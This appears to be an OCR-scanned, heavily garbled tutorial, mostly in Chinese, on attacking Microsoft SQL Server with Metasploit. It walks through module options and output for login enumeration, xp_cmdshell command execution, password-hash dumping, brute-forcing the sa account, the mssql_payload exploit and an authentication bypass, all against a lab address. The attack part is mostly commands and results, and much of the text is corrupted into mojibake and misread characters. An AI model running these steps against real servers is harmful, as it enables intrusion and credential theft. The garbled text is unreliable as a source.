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Accounts with Username and Password being the same:
Mo Account with its password being the same as its user
Accounts with empty password:
Mo Accounts with empty passwords where found.
Stored Procedures with Public Execute Permission found:
sp_replsetsyncstatus
sp_replcounters
sp_replsendtogueus
sp_resyncexecutesqgl
Sp_prepexecrpc
sp_repltrans
sp_xml_preparedocument
¥p_Qv
Xp_getnetname
sp_releaseschemalock
sp_refreshview
sp_replcmds
Sp_unprepare
Sp_resyncprepare
sp_createorphan
xp_dirtree
sp_replwritetovarbin
sp_replsetoriginator
sp_xml_removedocument
sp_repldone
sp_reset_connection
¥p_fileexist
¥p_fixeddrives
sp_getschemalock
Sp_prepexec
#p_revokelogin
sp_resyncuniquetable
sp_replflush
sp_resyncexecute
#p_grantlogin
sp_droparphans
¥p_regread
sp_getbindtoken
sp_replincrementlsn
Instances found on this server:
MSSOLSERVER

2.auxiliary/admin/mssql/mssqgl_enum_sql_logins
Ri&Esql logins | ERERIE , FEWER.

nst auxiliary (admin/mssql /mssql_enum_sql logins) = show options

Module options (auxiliary/adminsmssql/mssql_enum_sgl_logins):

Mame
FuzzMum
PASSWORD

RHOST
RPORT

TOSEMCRYFTION

mst
[*]
[+]
[*]
[+]
[*]
[*]

LISERMAME

Current Setting Required Description

Number of principal_ids to fuzz.
123455 no The password for the specified username
1562.168.1.115 yes The target address
1433 Yes The target port (TCP)
falze Yes Use TLS/SSL for TDS data "Force Encryption”
53 na The username to authenticate as

USE WINDOWS ALTHENT false Yes Use windows authentification (requires DOMAIN option set)

auxiliary (admin/mssql/mssql_enum sql_logins) = exploit

152,168,
152,168,

1
1
1.
1
1
1

152,168

152,168,
152,168,
152,168,

.115:1433 -
.115:1433 -
115:1433 -
.115:1433 -
.115:1433 -
.115:1433 -

Attempting to connect to the database server at 182,188.1,115:1433 as sa. ..
Connected,

Checking if sa has the sysadmin rale. ..

sa iz a sysadmin,

Setup to fuzz 300 SOL Serwer logins.

Enumerating logins. ..




3.auxiliary/admin/mssql/mssql_escalate_dbowner

&Mdbowner , JsaFTiXGAIEIBAIRT R | BB FBEEMIKSRAKSIE T —SHIRMZ
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4.auxiliary/admin/mssql/mssql_exec
REMRERZ— , SigfEiaxp_cmdshell , BaligiE. FEBERITcmdES, MR

Sql server,

msf auxiliary (adnin/mssqgl/mssql_exec) = show optilons

Module options

't whoami

cmdshell 'cmd. ¢ whoami'

5.auxiliary/admin/mssql/mssql_sql

REMRER— | WIRAESq| server FUERFIFIE | LAKsqiER., BNZER , B



mand: 193}

(Intel

6.auxiliary/admin/mssql/mssql_sql_file
LFEEWTSESEANIHRE , SEIFEER. msIARSSHHTsqIN ., BISER
B, IR R SHIER,

auxiliary (admin/mssql/mssql_sql_file} 10w options

Module optic

e: SOL_FILE,

MULL

7.auxiliary/scanner/mssql/mssql_hashdump
mssqlfhashS:iH, NRAEsqIER, WAJLARmssql_sqit&EtRseHhiT. WE2.



msf auxiliary (scanner/mssql/mssql_hashdump) = show options
Module options (auxiliary/scanner/mssql/mssql_hashdump):

Mame: current Setting Required Description

PASSWORD 123456 password for the specified username

RHOSTS 192,168,115 yes target address range or CICR identifier

RPORT 1433 yes target port (TCP)

TDSEMCRYFTION false yes TLS/SSL for TDS data "Force Encryption”

THREADS 1 yes number of concurrent threads

LISERMAME sa no username to authentlcate as

USE_WINDOWS ALTHEMT false yes windows authentification (requires DOMAIM option set)

msf auxiliary (scanner/mssql/mssql_hashdump) = exploit

[-1 Auxiliary failed: Msf::0ptionvalidateError The following options failed to walidate: RHOSTS.
mef auxiliary (scanner/mssql/mssql_hashdump) = set PHOSTS 182.188.1.115

RHOSTS ==~ 182.168.1.115

msf auxiliary (scanner/mssql /mssql_hashdump) = exploit

182,168.1.115:1433 - Instance Mame: nil
162.168.1.115:1433 - Saving mssql0S = =a3:01004086ceb5282a51dd7e821560d52c 5a8h5de 187421 cGeR057
182.168.1.115:1433 - Scanned 1 of 1 hosts (100% complete)
tuxiliary module execution completed
nsf auxiliary (scanner/mssql/mssql_hashdump} = i

msf auxiliary (admin/mssql/mssql_sql) = set sql select password_hash from sys.sql_logins where name=y'say'
== select password_hash from sys.sql_logins where name='sa’
auxiliary (admin/mssql /mssql_sql) = exploit

192.168.1.115:1433 - S0L Query: select password_hash from sys.sgql_logins where name='sa’
192,168.1.115:1433 - Row Count: 1 (Status: 16 Command: 193)

password_hash
01004086ceb6283a51dd7e821 560052 Bash5de 157421 c 628057

[#] Auxiliary module execution completed
msf auxiliary {admin/mssql/mssql sql] = I

8.auxiliary/scanner/mssql/mssql_login
RNZEFRIBERRIRZ— , SHFRHOSTS | SHEARMAMmMssqlEHL. mssqlpIstE
PR IR, IEBEEMITIERE IEIMssqlENALR , LISEERIRE.

msf auxiliary (scanner/mssql/mssql_login) = show optians
Module options (auxiliary/scanner/mssqls/mssql_logind:
Name Ccurrent Setting Required Description

BLAMK_PASSWORDS Try blank passwords for all users

BRUTEFORCE_SPEED How fast to bruteforce, from @ to 5

DB_ALL_CREDS Try each user/password couple stored in the current database
DB _ALL_PASS Add all passwords in the current database to the list
DB_ALL_LUSERS Add all users in the current database to the list

PASSWORD 123455 & specific password to authenticate with

PASS FILE File containing passwords, one per line

RHOSTS 162.168.1.115 The target address range or CIDR identifier

RFPORT 1433 The target port (TCP)

STOP_ON_SUCCESS false Stop guessing when a credential works for a host
TOSEMCRYPTION false Use TLS/SSL for TOS data "Force Encryption”

THREADS 1 The number aof concurrent threads

LISERMAME L] A& specific username to authenticate as

USERFASS FILE File containing users and passwords separated by space, one pair per line
USER_AS PASS false Try the username as the password for all users

IJSER_FILE File containing usernames, one per line

USE_WINDOWS ALTHEMT false Use windows authentification (requires DOMAIN option set)
WVERBOSE true yes Whether to print output for all attempts

msf auxiliary (scanner/mssql/mssql_loging = exploit

[*] 162.168.1.115:1433 - 192.168,1.115:1433 - MSSOL - Starting authentication scanner.
192,168.1.115:1433 - Mo active DB -- Credential data will not be saved!
192,168,1,115:1433 - 182,168,1,115:1433 - Login Successful: WORKSTATION'Sa:123456
192.168.1.115:1433 - Scanned 1 of 1 hosts (10C% complete)

Auxiliary module execution completed

9.auxiliary/scanner/mssql/mssql_ping




Bifimssql st |, sSEhkh , AR, (SR RTREAER.

iliary (scanner /mssql /mssql_ping) 10w info

L F'1nq tili
ql |:|:|_nq

10.exploit/windows/mssql/mssql_payload

IFEFIERZ— , L. FIRIRERERANREFEIEER SIS TR L
payload

exploit (windows /mssql /mssql_payload) w options
Module options {exploitswin
Mame
HETH method to {ps. emd. or old}
cified u

on. This must be an add n the local machine or ©

is randomly generated}

s DOMAIM option set)

que (Accepted: '', seh, thread, proc none)
n port
addr
Exploit target:

Id Mame

0 Automatic

exploit (windows/mssql /mssql_payload)

F - BFAFAYEEE windows 2003 , #i&#fset method old , WIRARHISE S
cmd , B4payloadiE&KML,



5:00:13 +0000

11.post/windows/manage/mssql_local_auth_bypass

postEIRESETIRISERR , FAETAZEAR. RHKHNFRY. SEHpostEtER,

[EERNE

ERNEEZETS , FEAENENRIRRIESERIERE, MLl RS | ERRE
[E&Sql serverENRIMANIREF , THEE. SMysql RERIZ , FESql serverfItRiR
b, —EETESHES LR payloadtiHE. BNTiEREpayload,
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